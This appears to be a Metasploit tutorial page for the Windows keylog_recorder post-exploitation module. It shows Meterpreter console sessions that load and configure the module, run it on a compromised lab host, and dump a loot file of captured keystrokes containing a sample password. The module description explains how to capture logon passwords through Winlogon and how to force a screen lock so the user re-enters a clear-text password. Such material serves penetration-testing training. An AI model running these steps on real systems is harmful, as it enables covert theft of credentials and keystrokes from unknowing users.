Windows Post Capture Modules a11y.text Windows Post Capture Modules keylog_recorder a11y.text keylog_recorder The keylog_recorder post module captures keystrokes on the compromised system. Note that you will want to ensure that you have migrated to an interactive process prior to capturing keystrokes. meterpreter >

```
Background session 1? [y/N] y
msf > use post/windows/capture/keylog_recorder
msf post(keylog_recorder) > info

       Name: Windows Capture Keystroke Recorder
     Module: post/windows/capture/keylog_recorder
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez
  Josh Hale

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CAPTURE_TYPE  explorer         no        Capture keystrokes for Explorer, Winlogon or PID
(Accepted: explorer, winlogon, pid)
  INTERVAL      5                no        Time interval to save keystrokes in seconds
  LOCKSCREEN    false            no        Lock system screen.
  MIGRATE       false            no        Perform Migration.
  PID                      no       Process ID to migrate to
  SESSION                       yes      The session to run this module on.

Description:
  This module can be used to capture keystrokes. To capture keystrokes
  when the session is running as SYSTEM, the MIGRATE option must be
  enabled and the CAPTURE_TYPE option should be set to one of
  Explorer, Winlogon, or a specific PID. To capture the keystrokes of
  the interactive user, the Explorer option should be used with
  MIGRATE enabled. Keep in mind that this will demote this session to
  the user's privileges, so it makes sense to create a separate
  session for this task. The Winlogon option will capture the username
  and password entered into the logon and unlock dialog. The
  LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to
  for the user to enter their clear-text password. It is recommended
  to run this module as a job, otherwise it will tie up your framework
  user interface.

msf post(keylog_recorder) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > run post/windows/capture/keylog_recorder

[*] Executing module against V-MAC-XP
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to
```

```
/root/.msf4/loot/20110421120355_default_192.168.1.195_host.windows.key_328113.txt

[*] Recording keystrokes...

^C[*] Saving last few keystrokes...

[*] Interrupt

[*] Stopping keystroke sniffer...

meterpreter > After we have finished sniffing keystrokes, or even while the sniffer is still running, we

can dump the captured data. root@kali : ~ # cat

/root/.msf4/loot/20110421120355_default_192.168.1.195_host.windows.key_328113.txt Keystroke

log started at Thu Apr 21 12:03:55 -0600 2011

root  s3cr3t

ftp ftp.micro

soft.com  anonymous  anon@ano

n.com  e  quit

root@kali:~# Next Post Gather Modules Prev Windows
```